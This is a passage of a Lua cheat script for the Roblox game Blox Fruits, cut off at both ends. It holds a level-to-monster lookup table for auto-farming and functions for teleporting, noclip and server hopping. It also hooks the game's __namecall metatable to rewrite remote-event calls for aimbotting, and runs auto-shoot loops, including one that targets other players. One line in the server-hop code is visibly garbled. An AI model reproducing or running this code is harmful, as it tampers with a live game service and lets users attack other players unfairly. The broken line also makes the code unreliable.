--CFrameQuest = CFrame.new(5669.43506, 28.2117786, -6482.60107, 0.888092756, 1.02705066e-07, 0.459664226, -6.20391774e-08, 1, -1.03572376e-07, -0.459664226, 6.34646895e-08, 0.888092756)

CFrameMon = CFrame.new(5518.00684, 60.5559731, -6828.80518, -0.650781393, -3.64292951e-08, 0.759265184, -4.07668654e-09, 1, 4.44854642e-08, -0.759265184, 2.58550248e-08, -0.650781393)

--Spawn = "IceCastle"

elseif MyLevel == 1425 or MyLevel <= 1449 or SelectMonster == "Sea Soldier [Lv. 1425]" then -- Sea Soldier [Lv. 1425]

Mon = "Sea Soldier [Lv. 1425]"

--NameQuest = "ForgottenQuest"

LevelQuest = 1

NameMon = "Sea Soldier"

--CFrameQuest = CFrame.new(-3052.99097, 236.881363, -10148.1943, -0.997911751, 4.42321983e-08, 0.064591676, 4.90968759e-08, 1, 7.37270085e-08, -0.064591676, 7.67442998e-08, -0.997911751)

CFrameMon = CFrame.new(-3029.78467, 66.944252, -9777.38184, -0.998552859, 1.09555076e-08, 0.0537791774, 7.79564235e-09, 1, -5.89660658e-08, -0.0537791774, -5.84614881e-08, -0.998552859)

--Spawn = "ForgottenIsland"

elseif MyLevel >= 1450 or SelectMonster == "Water Fighter [Lv. 1450]" then -- Water Fighter [Lv. 1450]

Mon = "Water Fighter [Lv. 1450]"

--NameQuest = "ForgottenQuest"

LevelQuest = 2

NameMon = "Water Fighter"

--CFrameQuest = CFrame.new(-3052.99097, 236.881363, -10148.1943, -0.997911751, 4.42321983e-08, 0.064591676, 4.90968759e-08, 1, 7.37270085e-08, -0.064591676, 7.67442998e-08, -0.997911751)

CFrameMon = CFrame.new(-3262.00098, 298.699615, -10553.6943, -0.233570755, -4.57538185e-08, 0.972339869, -5.80986068e-08, 1, 3.30992194e-08, -0.972339869, -4.87605725e-08, -0.233570755)

--Spawn = "ForgottenIsland"

end

elseif World3 then

if MyLevel == 1500 or MyLevel <= 1524 or SelectMonster == "Pirate Millionaire [Lv. 1500]" then

Mon = "Pirate Millionaire [Lv. 1500]"

--NameQuest = "PiratePortQuest"

LevelQuest = 1

NameMon = "Pirate Millionaire"

--CFrameQuest = CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)

CFrameMon = CFrame.new(81.164993286133, 43.755737304688, 5724.7021484375)

--Spawn = "Default"

elseif MyLevel == 1525 or MyLevel <= 1574 or SelectMonster == "Pistol Billionaire [Lv. 1525]" then

Mon = "Pistol Billionaire [Lv. 1525]"

--NameQuest = "PiratePortQuest"

LevelQuest = 2

NameMon = "Pistol Billionaire"

--CFrameQuest = CFrame.new(-290.074677, 42.9034653, 5581.58984, 0.965929627, -0, -0.258804798, 0, 1, -0, 0.258804798, 0, 0.965929627)

CFrameMon = CFrame.new(81.164993286133, 43.755737304688, 5724.7021484375)

--Spawn = "Default"

elseif MyLevel == 1575 or MyLevel <= 1599 or SelectMonster == "Dragon Crew Warrior [Lv. 1575]" then

Mon = "Dragon Crew Warrior [Lv. 1575]"

--NameQuest = "AmazonQuest"

LevelQuest = 1

NameMon = "Dragon Crew Warrior"

--CFrameQuest = CFrame.new(5832.83594, 51.6806107, -1101.51563, 0.898790359, -0, -0.438378751, 0, 1, -0, 0.438378751, 0, 0.898790359)

CFrameMon = CFrame.new(6241.9951171875, 51.522083282471, -1243.9771728516)

--Spawn = "Hydra3"

elseif MyLevel == 1600 or MyLevel <= 1624 or SelectMonster == "Dragon Crew Archer [Lv. 1600]" then

Mon = "Dragon Crew Archer [Lv. 1600]"

--NameQuest = "AmazonQuest"

LevelQuest = 2

NameMon = "Dragon Crew Archer"

--CFrameQuest = CFrame.new(5832.83594, 51.6806107, -1101.51563, 0.898790359, -0, -0.438378751, 0, 1, -0, 0.438378751, 0, 0.898790359)

CFrameMon = CFrame.new(6488.9155273438, 383.38375854492, -110.66246032715)

--Spawn = "Hydra3"

elseif MyLevel == 1625 or MyLevel <= 1649 or SelectMonster == "Female Islander [Lv. 1625]" then

Mon = "Female Islander [Lv. 1625]"

--NameQuest = "AmazonQuest2"

LevelQuest = 1

NameMon = "Female Islander"

--CFrameQuest = CFrame.new(5448.86133, 601.516174, 751.130676, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(4770.4990234375, 758.95520019531, 1069.8680419922)

--Spawn = "Hydra1"

elseif MyLevel == 1650 or MyLevel <= 1699 or SelectMonster == "Giant Islander [Lv. 1650]" then

Mon = "Giant Islander [Lv. 1650]"

--NameQuest = "AmazonQuest2"

LevelQuest = 2

NameMon = "Giant Islander"

--CFrameQuest = CFrame.new(5448.86133, 601.516174, 751.130676, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(4530.3540039063, 656.75695800781, -131.60952758789)

--Spawn = "Hydra1"

elseif MyLevel == 1700 or MyLevel <= 1724 or SelectMonster == "Marine Commodore [Lv. 1700]" then

Mon = "Marine Commodore [Lv. 1700]"

--NameQuest = "MarineTreeIsland"

LevelQuest = 1

NameMon = "Marine Commodore"

--CFrameQuest = CFrame.new(2180.54126, 27.8156815, -6741.5498, -0.965929747, 0, 0.258804798, 0, 1, 0, -0.258804798, 0, -0.965929747)

CFrameMon = CFrame.new(2490.0844726563, 190.4232635498, -7160.0502929688)

--Spawn = "GreatTree"

elseif MyLevel == 1725 or MyLevel <= 1774 or SelectMonster == "Marine Rear Admiral [Lv. 1725]" then

Mon = "Marine Rear Admiral [Lv. 1725]"

--NameQuest = "MarineTreeIsland"

LevelQuest = 2

NameMon = "Marine Rear Admiral"

--CFrameQuest = CFrame.new(2180.54126, 27.8156815, -6741.5498, -0.965929747, 0, 0.258804798, 0, 1, 0, -0.258804798, 0, -0.965929747)

CFrameMon = CFrame.new(3951.3903808594, 229.11549377441, -6912.81640625)

--Spawn = "GreatTree"

elseif MyLevel == 1775 or MyLevel <= 1799 or SelectMonster == "Fishman Raider [Lv. 1775]" then

Mon = "Fishman Raider [Lv. 1775]"

--NameQuest = "DeepForestIsland3"

LevelQuest = 1

NameMon = "Fishman Raider"

--CFrameQuest = CFrame.new(-10581.6563, 330.872955, -8761.18652, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)

CFrameMon = CFrame.new(-10322.400390625, 390.94473266602, -8580.0908203125)

--Spawn = "PineappleTown"

elseif MyLevel == 1800 or MyLevel <= 1824 or SelectMonster == "Fishman Captain [Lv. 1800]" then

Mon = "Fishman Captain [Lv. 1800]"

--NameQuest = "DeepForestIsland3"

LevelQuest = 2

NameMon = "Fishman Captain"

--CFrameQuest = CFrame.new(-10581.6563, 330.872955, -8761.18652, -0.882952213, 0, 0.469463557, 0, 1, 0, -0.469463557, 0, -0.882952213)

CFrameMon = CFrame.new(-11194.541992188, 442.02795410156, -8608.806640625)

--Spawn = "PineappleTown"

elseif MyLevel == 1825 or MyLevel <= 1849 or SelectMonster == "Forest Pirate [Lv. 1825]" then

Mon = "Forest Pirate [Lv. 1825]"

--NameQuest = "DeepForestIsland"

LevelQuest = 1

NameMon = "Forest Pirate"

--CFrameQuest = CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247)

CFrameMon = CFrame.new(-13225.809570313, 428.19387817383, -7753.1245117188)

--Spawn = "BigMansion"

elseif MyLevel == 1850 or MyLevel <= 1899 or SelectMonster == "Mythological Pirate [Lv. 1850]" then

Mon = "Mythological Pirate [Lv. 1850]"

--NameQuest = "DeepForestIsland"

LevelQuest = 2

NameMon = "Mythological Pirate"

--CFrameQuest = CFrame.new(-13234.04, 331.488495, -7625.40137, 0.707134247, -0, -0.707079291, 0, 1, -0, 0.707079291, 0, 0.707134247)

CFrameMon = CFrame.new(-13869.172851563, 564.95251464844, -7084.4135742188)

--Spawn = "BigMansion"

elseif MyLevel == 1900 or MyLevel <= 1924 or SelectMonster == "Jungle Pirate [Lv. 1900]" then

Mon = "Jungle Pirate [Lv. 1900]"

--NameQuest = "DeepForestIsland2"

LevelQuest = 1

NameMon = "Jungle Pirate"

--CFrameQuest = CFrame.new(-12680.3818, 389.971039, -9902.01953, -0.0871315002, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, -0.0871315002)

CFrameMon = CFrame.new(-11982.221679688, 376.32522583008, -10451.415039063)

--Spawn = "PineappleTown"

elseif MyLevel == 1925 or MyLevel <= 1974 or SelectMonster == "Musketeer Pirate [Lv. 1925]" then

Mon = "Musketeer Pirate [Lv. 1925]"

--NameQuest = "DeepForestIsland2"

LevelQuest = 2

NameMon = "Musketeer Pirate"

--CFrameQuest = CFrame.new(-12680.3818, 389.971039, -9902.01953, -0.0871315002, 0, 0.996196866, 0, 1, 0, -0.996196866, 0, -0.0871315002)

CFrameMon = CFrame.new(-13282.3046875, 496.23684692383, -9565.150390625)

--Spawn = "PineappleTown"

elseif MyLevel == 1975 or MyLevel <= 1999 or SelectMonster == "Reborn Skeleton [Lv. 1975]" then

Mon = "Reborn Skeleton [Lv. 1975]"

--NameQuest = "HauntedQuest1"

LevelQuest = 1

NameMon = "Reborn Skeleton"

--CFrameQuest = CFrame.new(-9479.2168, 141.215088, 5566.09277, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(-8761.3154296875, 164.85829162598, 6161.1567382813)

--Spawn = "HauntedCastle"

elseif MyLevel == 2000 or MyLevel <= 2024 or SelectMonster == "Living Zombie [Lv. 2000]" then

Mon = "Living Zombie [Lv. 2000]"

--NameQuest = "HauntedQuest1"

LevelQuest = 2

NameMon = "Living Zombie"

--CFrameQuest = CFrame.new(-9479.2168, 141.215088, 5566.09277, 0, 0, 1, 0, 1, -0, -1, 0, 0)

CFrameMon = CFrame.new(-10093.930664063, 237.38233947754, 6180.5654296875)

--Spawn = "HauntedCastle"

elseif MyLevel == 2025 or MyLevel <= 2049 or SelectMonster == "Demonic Soul [Lv. 2025]" then

Mon = "Demonic Soul [Lv. 2025]"

--NameQuest = "HauntedQuest2"

LevelQuest = 1

NameMon = "Demonic Soul"

--CFrameQuest = CFrame.new(-9514.78027, 171.162918, 6078.82373, 0.301918149, 7.4535027e-09, 0.953333855, -3.22802141e-09, 1, -6.79604995e-09, -0.953333855, -1.02553133e-09, 0.301918149)

CFrameMon = CFrame.new(-9466.72949, 171.162918, 6132.01514)

--Spawn = "HauntedCastle"

elseif MyLevel == 2050 or MyLevel <= 2074 or SelectMonster == "Posessed Mummy [Lv. 2050]" then

Mon = "Posessed Mummy [Lv. 2050]"

--NameQuest = "HauntedQuest2"

LevelQuest = 2

NameMon = "Posessed Mummy"

--CFrameQuest = CFrame.new(-9514.78027, 171.162918, 6078.82373, 0.301918149, 7.4535027e-09, 0.953333855, -3.22802141e-09, 1, -6.79604995e-09, -0.953333855, -1.02553133e-09, 0.301918149)

CFrameMon = CFrame.new(-9589.93848, 4.85058546, 6190.27197)

--Spawn = "HauntedCastle"

elseif MyLevel == 2075 or MyLevel <= 2099 or SelectMonster == "Peanut Scout [Lv. 2075]" then

Mon = "Peanut Scout [Lv. 2075]"

--NameQuest = "NutsIslandQuest"

LevelQuest = 1

NameMon = "Peanut Scout"

--CFrameQuest = CFrame.new(-2103.9375, 38.139019012451, -10192.702148438)

CFrameMon = CFrame.new(-2150.587890625, 122.49767303467, -10358.994140625)

--Spawn = "Peanut"

elseif MyLevel == 2100 or MyLevel <= 2124 or SelectMonster == "Peanut President [Lv. 2100]" then

Mon = "Peanut President [Lv. 2100]"

--NameQuest = "NutsIslandQuest"

LevelQuest = 2

NameMon = "Peanut President"

--CFrameQuest = CFrame.new(-2103.9375, 38.139019012451, -10192.702148438)

CFrameMon = CFrame.new(-2150.587890625, 122.49767303467, -10358.994140625)

--Spawn = "Peanut"

elseif MyLevel == 2125 or MyLevel <= 2149 or SelectMonster == "Ice Cream Chef [Lv. 2125]" then

Mon = "Ice Cream Chef [Lv. 2125]"

--NameQuest = "IceCreamIslandQuest"

LevelQuest = 1

NameMon = "Ice Cream Chef"

--CFrameQuest = CFrame.new(-819.84533691406, 65.845329284668, -10965.487304688)

CFrameMon = CFrame.new(-890.55895996094, 186.34135437012, -11127.306640625)

--Spawn = "IceCream"

elseif MyLevel == 2150 or MyLevel <= 2199 or SelectMonster == "Ice Cream Commander [Lv. 2150]" then

Mon = "Ice Cream Commander [Lv. 2150]"

--NameQuest = "IceCreamIslandQuest"

LevelQuest = 2

NameMon = "Ice Cream Commander"

--CFrameQuest = CFrame.new(-819.84533691406, 65.845329284668, -10965.487304688)

CFrameMon = CFrame.new(-890.55895996094, 186.34135437012, -11127.306640625)

--Spawn = "IceCream"

elseif MyLevel == 2200 or MyLevel <= 2224 or SelectMonster == "Cookie Crafter [Lv. 2200]" then

Mon = "Cookie Crafter [Lv. 2200]"

--NameQuest = "CakeQuest1"

LevelQuest = 1

NameMon = "Cookie Crafter"

--CFrameQuest = CFrame.new(-2021.5509033203125, 37.798221588134766, -12028.103515625)

CFrameMon = CFrame.new(-2273.00244140625, 90.22590637207031, -12151.62109375)

--Spawn = "Loaf"

elseif MyLevel == 2225 or MyLevel <= 2249 or SelectMonster == "Cake Guard [Lv. 2225]" then

Mon = "Cake Guard [Lv. 2225]"

--NameQuest = "CakeQuest1"

LevelQuest = 2

NameMon = "Cake Guard"

--CFrameQuest = CFrame.new(-2021.5509033203125, 37.798221588134766, -12028.103515625)

CFrameMon = CFrame.new(-1442.373046875, 158.14111328125, -12277.37109375)

--Spawn = "Loaf"

elseif MyLevel == 2250 or MyLevel <= 2274 or SelectMonster == "Baking Staff [Lv. 2250]" then

Mon = "Baking Staff [Lv. 2250]"

--NameQuest = "CakeQuest2"

LevelQuest = 1

NameMon = "Baking Staff"

--CFrameQuest = CFrame.new(-1927.9107666015625, 37.79813003540039, -12843.78515625)

CFrameMon = CFrame.new(-1837.2803955078125, 129.0594482421875, -12934.5498046875)

--Spawn = "Loaf"

elseif MyLevel == 2275 or MyLevel <= 2299 or SelectMonster == "Head Baker [Lv. 2275]" then

Mon = "Head Baker [Lv. 2275]"

--NameQuest = "CakeQuest2"

LevelQuest = 2

NameMon = "Head Baker"

--CFrameQuest = CFrame.new(-1927.9107666015625, 37.79813003540039, -12843.78515625)

CFrameMon = CFrame.new(-2203.302490234375, 109.90937042236328, -12788.7333984375)

--Spawn = "Loaf"

elseif MyLevel == 2300 or MyLevel <= 2324 or SelectMonster == "Cocoa Warrior [Lv. 2300]" then

Mon = "Cocoa Warrior [Lv. 2300]"

--NameQuest = "ChocQuest1"

LevelQuest = 1

NameMon = "Cocoa Warrior"

--CFrameQuest = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

CFrameMon = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

--Spawn = "Chocolate"

elseif MyLevel == 2325 or MyLevel <= 2349 or SelectMonster == "Chocolate Bar Battler [Lv. 2325]" then

Mon = "Chocolate Bar Battler [Lv. 2325]"

--NameQuest = "ChocQuest1"

LevelQuest = 2

NameMon = "Chocolate Bar Battler"

--CFrameQuest = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

CFrameMon = CFrame.new(231.13571166992188, 24.734268188476562, -12195.1162109375)

--Spawn = "Chocolate"

elseif MyLevel == 2350 or MyLevel <= 2374 or SelectMonster == "Sweet Thief [Lv. 2350]" then

Mon = "Sweet Thief [Lv. 2350]"

--NameQuest = "ChocQuest2"

LevelQuest = 1

NameMon = "Sweet Thief"

--CFrameQuest = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

CFrameMon = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

--Spawn = "Chocolate"

elseif MyLevel == 2375 or MyLevel <= 2400 or SelectMonster == "Candy Rebel [Lv. 2375]" then

Mon = "Candy Rebel [Lv. 2375]"

--NameQuest = "ChocQuest2"

LevelQuest = 2

NameMon = "Candy Rebel"

--CFrameQuest = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

CFrameMon = CFrame.new(147.52256774902344, 24.793832778930664, -12775.3583984375)

--Spawn = "Chocolate"

elseif MyLevel == 2400 or MyLevel <= 2424 or SelectMonster == "Candy Pirate [Lv. 2400]" then

Mon = "Candy Pirate [Lv. 2400]"

QuestName = "CandyQuest1"

LevelQuest = 1

NameMon = "Candy Pirate"

CFrameMon = CFrame.new(-1476, 52, -14638)

VectorMon = Vector3.new(-1476, 52, -14638)

CFrameQuest = CFrame.new(-1149, 13, -14445)

VectorQuest = Vector3.new(-1149, 13, -14445)

elseif MyLevel >= 2425 or SelectMonster == "Snow Demon [Lv. 2425]" then

Mon = "Snow Demon [Lv. 2425]"

QuestName = "CandyQuest1"

LevelQuest = 2

NameMon = "Snow Demon"

CFrameMon = CFrame.new(-948, 62, -14551)

VectorMon = CFrame.new(-948, 62, -14551)

CFrameQuest = CFrame.new(-1149, 13, -14445)

VectorQuest = Vector3.new(-1149, 13, -14445)

end

end

end

function AutoHaki()

if not game:GetService("Players").LocalPlayer.Character:FindFirstChild("HasBuso") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("Buso")

end

end

function EquipWeapon(ToolSe)

if not \_G.NotAutoEquip then

if game.Players.LocalPlayer.Backpack:FindFirstChild(ToolSe) then

Tool = game.Players.LocalPlayer.Backpack:FindFirstChild(ToolSe)

wait(.1)

game.Players.LocalPlayer.Character.Humanoid:EquipTool(Tool)

end

end

end

function topos(Pos)

Distance = (Pos.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude

if game.Players.LocalPlayer.Character.Humanoid.Sit == true then game.Players.LocalPlayer.Character.Humanoid.Sit = false end

pcall(function() tween = game:GetService("TweenService"):Create(game.Players.LocalPlayer.Character.HumanoidRootPart,TweenInfo.new(Distance/320, Enum.EasingStyle.Linear),{CFrame = Pos}) end)

tween:Play()

if Distance <= 250 then

tween:Cancel()

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = Pos

end

if \_G.StopTween == true then

tween:Cancel()

\_G.Clip = false

end

end

function GetDistance(target)

return math.floor((target.Position - game.Players.LocalPlayer.Character.HumanoidRootPart.Position).Magnitude)

end

function StopTween(target)

if not target then

\_G.StopTween = true

wait()

topos(game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.CFrame)

wait()

if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip") then

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip"):Destroy()

end

\_G.StopTween = false

\_G.Clip = false

end

end

function UseCode(Text)

game:GetService("ReplicatedStorage").Remotes.Redeem:InvokeServer(Text)

end

function hop()

local PlaceID = game.PlaceId

local AllIDs = {}

local foundAnything = ""

local actualHour = os.date("!\*t").hour

local Deleted = false

function TPReturner()

local Site;

if foundAnything == "" then

Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100'))

else

Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything))

end

local ID = ""

if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then

foundAnything = Site.nextPageCursor

end

local num = 0;

for i,v in pairs(Site.data) do

local Possible = true

ID = tostring(v.id)

if tonumber(v.maxPlayers) > tonumber(v.playing) then

for \_,Existing in pairs(AllIDs) do

if num ~= 0 then

if ID == tostring(Existing) then

Possible = false

end

else

if tonumber(actualHour) ~= tonumber(Existing) then

local delFile = pcall(function()

-- delfile("NotSameServers.json")

AllIDs = {}

table.insert(AllIDs, actualHour)

end)

end

end

num = num + 1

end

if Possible == true then

table.insert(AllIDs, ID)

wait()

pcall(function()

-- writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs))

wait()

game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceID, ID, game.Players.LocalPlayer)

end)

wait(4)

end

end

end

end

function Teleport()

while wait() do

pcall(function()

TPReturner()

if foundAnything ~= "" then

TPReturner()

end

end)

end

end

Teleport()

end

local PlaceID = game.PlaceId

local AllIDs = {}

local foundAnything = ""

local actualHour = os.date("!\*t").hour

local Deleted = false

local File = pcall(function()

AllIDs = game:GetService('HttpService'):JSONDecode(readfile("NotSameServers.json"))

end)

if not File then

table.insert(AllIDs, actualHour)

writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs))

end

function TPReturner()

local Site;

if foundAnything == "" then

Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100'))

else

Site = game.HttpService:JSONDecode(game:HttpGet('https://games.roblox.com/v1/games/' .. PlaceID .. '/servers/Public?sortOrder=Asc&limit=100&cursor=' .. foundAnything))

end

local ID = ""

if Site.nextPageCursor and Site.nextPageCursor ~= "null" and Site.nextPageCursor ~= nil then

foundAnything = Site.nextPageCursor

end

local num = 0;

for i,v in pairs(Site.data) do

local Possible = true

ID = t

SaveSetting()ostring(v.id)

if tonumber(v.maxPlayers) > tonumber(v.playing) then

for \_,Existing in pairs(AllIDs) do

if num ~= 0 then

if ID == tostring(Existing) then

Possible = false

end

else

if tonumber(actualHour) ~= tonumber(Existing) then

local delFile = pcall(function()

delfile("NotSameServers.json")

AllIDs = {}

table.insert(AllIDs, actualHour)

end)

end

end

num = num + 1

end

if Possible == true then

table.insert(AllIDs, ID)

wait()

pcall(function()

writefile("NotSameServers.json", game:GetService('HttpService'):JSONEncode(AllIDs))

wait()

game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceID, ID, game.Players.LocalPlayer)

end)

wait(1)

end

end

end

end

function Teleport()

while wait() do

pcall(function()

TPReturner()

if foundAnything ~= "" then

TPReturner()

end

end)

end

end

function InfAb()

if InfAbility then

if not game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility") then

local inf = Instance.new("ParticleEmitter")

inf.Acceleration = Vector3.new(0,0,0)

inf.Archivable = true

inf.Drag = 20

inf.EmissionDirection = Enum.NormalId.Top

inf.Enabled = true

inf.Lifetime = NumberRange.new(0,0)

inf.LightInfluence = 0

inf.LockedToPart = true

inf.Name = "Agility"

inf.Rate = 500

local numberKeypoints2 = {

NumberSequenceKeypoint.new(0, 0);

NumberSequenceKeypoint.new(1, 4);

}

inf.Size = NumberSequence.new(numberKeypoints2)

inf.RotSpeed = NumberRange.new(9999, 99999)

inf.Rotation = NumberRange.new(0, 0)

inf.Speed = NumberRange.new(30, 30)

inf.SpreadAngle = Vector2.new(0,0,0,0)

inf.Texture = "rbxassetid://243098098"

inf.VelocityInheritance = 0

inf.ZOffset = 2

inf.Transparency = NumberSequence.new(0)

inf.Color = ColorSequence.new(Color3.fromRGB(0,0,0),Color3.fromRGB(0,0,0))

inf.Parent = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart

end

else

if game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility") then

game:GetService("Players").LocalPlayer.Character.HumanoidRootPart:FindFirstChild("Agility"):Destroy()

end

end

end

---------------------------------------------------------------

spawn(function()

pcall(function()

game:GetService("RunService").Stepped:Connect(function()

if \_G.Auto\_Farm\_Level or \_G.Auto\_New\_World or \_G.AutoFarmFruitMastery or \_G.thuocsung or \_G.sungtegiac or \_G.shinapo or \_G.chatpong or \_G.rangnanh or \_G.AutoFarmGunMastery or \_G.magma or \_G.Auto\_Third\_World or \_G.duoica or \_G.Auto\_Farm\_Chest or \_G.TeleportIsland or \_G.SeaBeasts1 or \_G.vayrong or \_G.Auto\_Farm\_Boss or \_G.Autotushita or \_G.Auto\_Elite\_Hunter or \_G.Auto\_Cake\_Prince or \_G.Auto\_Farm\_All\_Boss or \_G.Auto\_Saber or \_G.Auto\_Pole or \_G.Auto\_Farm\_Scrap\_and\_Leather or \_G.Auto\_Farm\_Angel\_Wing or \_G.Auto\_Factory\_Farm or \_G.Auto\_Farm\_Ectoplasm or \_G.mudautr or \_G.Auto\_Rengoku or \_G.Auto\_Farm\_Radioactive or \_G.Auto\_Evo\_Race\_V2 or \_G.Auto\_Swan\_Glasses or \_G.Auto\_Dragon\_Trident or \_G.Auto\_Soul\_Reaper or \_G.Auto\_Farm\_Bone or \_G.Cacao or \_G.nuocmat or \_G.Auto\_Open\_Dough\_Dungeon or \_G.Auto\_Rainbow\_Haki or \_G.Auto\_Musketeer\_Hat or \_G.Auto\_Holy\_Torch or \_G.Auto\_Canvander or \_G.d or \_G.Auto\_Twin\_Hook or \_G.Auto\_Serpent\_Bow or \_G.AutoFarmMaterial or \_G.Auto\_Fully\_Death\_Step or \_G.Auto\_Fully\_SharkMan\_Karate or \_G.Teleport\_to\_Player or \_G.Auto\_Kill\_Player\_Melee or \_G.Auto\_Kill\_Player\_Gun or \_G.Start\_Tween\_Island or \_G.Auto\_Next\_Island or \_G.autoraid or AutoNextIsland or \_G.Auto\_Farm\_Sword or \_G.MeleeFarm or \_G.AutoFarmSelectMonster or \_G.AutoFarmKenHakivor or \_G.AutoObservationHakiV2 or \_G.AutoFactory or \_G.Auto\_Kill\_Law then

if not game.Players.LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip") then

local Noclip = Instance.new("BodyVelocity")

Noclip.Name = "BodyClip"

Noclip.Parent = game.Players.LocalPlayer.Character.HumanoidRootPart

Noclip.MaxForce = Vector3.new(100000,100000,100000)

Noclip.Velocity = Vector3.new(0,0,0)

end

else

if game.Players.LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip") then

game.Players.LocalPlayer.Character.HumanoidRootPart:FindFirstChild("BodyClip"):Destroy()

end

end

end)

end)

end)

spawn(function()

pcall(function()

game:GetService("RunService").Stepped:Connect(function()

if \_G.Auto\_Farm\_Level or \_G.Auto\_New\_World or \_G.TeleportIsland or \_G.Auto\_Third\_World or \_G.shinapo or \_G.rangnanh or \_G.chatpong or \_G.thuocsung or \_G.sungtegiac or \_G.Auto\_Farm\_Chest or \_G.duoica or \_G.Auto\_Farm\_Boss or \_G.SeaBeasts1 or \_G.vayrong or \_G.AutoFarmGunMastery or \_G.Auto\_Elite\_Hunter or \_G.AutoFarmKenHaki or \_G.AutoFactory or \_G.AutoFarmSelectMonster or \_G.Auto\_Cake\_Prince or \_G.Auto\_Farm\_All\_Boss or \_G.Auto\_Saber or \_G.Auto\_Pole or \_G.Auto\_Factory\_Farm or \_G.Auto\_Farm\_Ectoplasm or \_G.mudautr or \_G.d or \_G.Auto\_Rengoku or \_G.Autotushita or \_G.Auto\_Farm\_Radioactive or \_G.Auto\_Evo\_Race\_V2 or \_G.Auto\_Swan\_Glasses or \_G.Auto\_Dragon\_Trident or \_G.Auto\_Soul\_Reaper or \_G.Auto\_Farm\_Fish\_Tail or \_G.Cacao or \_G.magma or \_G.Auto\_Farm\_Mini\_Tusk or \_G.nuocmat or \_G.Auto\_Farm\_Magma\_Ore or \_G.Auto\_Farm\_Bone or \_G.Auto\_Open\_Dough\_Dungeon or \_G.Auto\_Rainbow\_Haki or \_G.Auto\_Musketeer\_Hat or \_G.Auto\_Holy\_Torch or \_G.Auto\_Canvander or \_G.AutoFarmMaterial or \_G.autoraid or \_G.Auto\_Twin\_Hook or AutoNextIsland or \_G.Auto\_Serpent\_Bow or \_G.Auto\_Fully\_Death\_Step or \_G.Auto\_Fully\_SharkMan\_Karate or \_G.Teleport\_to\_Player or \_G.Auto\_Kill\_Player\_Melee or \_G.Auto\_Kill\_Player\_Gun or \_G.Start\_Tween\_Island or \_G.AutoObservationHakiV2 or \_G.d or \_G.Auto\_Next\_Island or \_G.Auto\_Farm\_Sword or \_G.MeleeFarm or \_G.Auto\_Kill\_Law then

for \_, v in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do

if v:IsA("BasePart") then

v.CanCollide = false

end

end

end

end)

end)

end)

spawn(function()

while wait() do

for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do

if v:IsA("Tool") then

if v:FindFirstChild("RemoteFunctionShoot") then

SelectToolWeaponGun = v.Name

end

end

end

for i,v in pairs(game.Players.LocalPlayer.Character:GetChildren()) do

if v:IsA("Tool") then

if v:FindFirstChild("RemoteFunctionShoot") then

SelectToolWeaponGun = v.Name

end

end

end

end

end)

spawn(function()

local gg = getrawmetatable(game)

local old = gg.\_\_namecall

setreadonly(gg,false)

gg.\_\_namecall = newcclosure(function(...)

local method = getnamecallmethod()

local args = {...}

if tostring(method) == "FireServer" then

if tostring(args[1]) == "RemoteEvent" then

if tostring(args[2]) ~= "true" and tostring(args[2]) ~= "false" then

if UseSkillMasteryDevilFruit then

args[2] = PositionSkillMasteryDevilFruit

return old(unpack(args))

elseif AimSkillNearest then

args[2] = AimBotSkillPosition

return old(unpack(args))

end

end

end

end

return old(...)

end)

end)

spawn(function()

game:GetService("RunService").RenderStepped:Connect(function()

if UseGun then

pcall(function()

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == Ms then

local args = {

[1] = "TAP",

[2] = v.HumanoidRootPart.Position

}

game:GetService("Players").LocalPlayer.Character.Humanoid:FindFirstChild("Soul Guitar"):InvokeServer(unpack(args))

local args = {

[1] = v.HumanoidRootPart.Position,

[2] = v.HumanoidRootPart

}

game:GetService("Players").LocalPlayer.Character[SelectToolWeaponGun].RemoteFunctionShoot:InvokeServer(unpack(args))

end

end

end)

end

end)

end)

spawn(function()

game:GetService("RunService").RenderStepped:Connect(function()

if UseGunKillPlayer then

pcall(function()

for i,v in pairs(game:GetService("Workspace").Characters:GetChildren()) do

if v.Name == \_G.Select\_Player then

local args = {

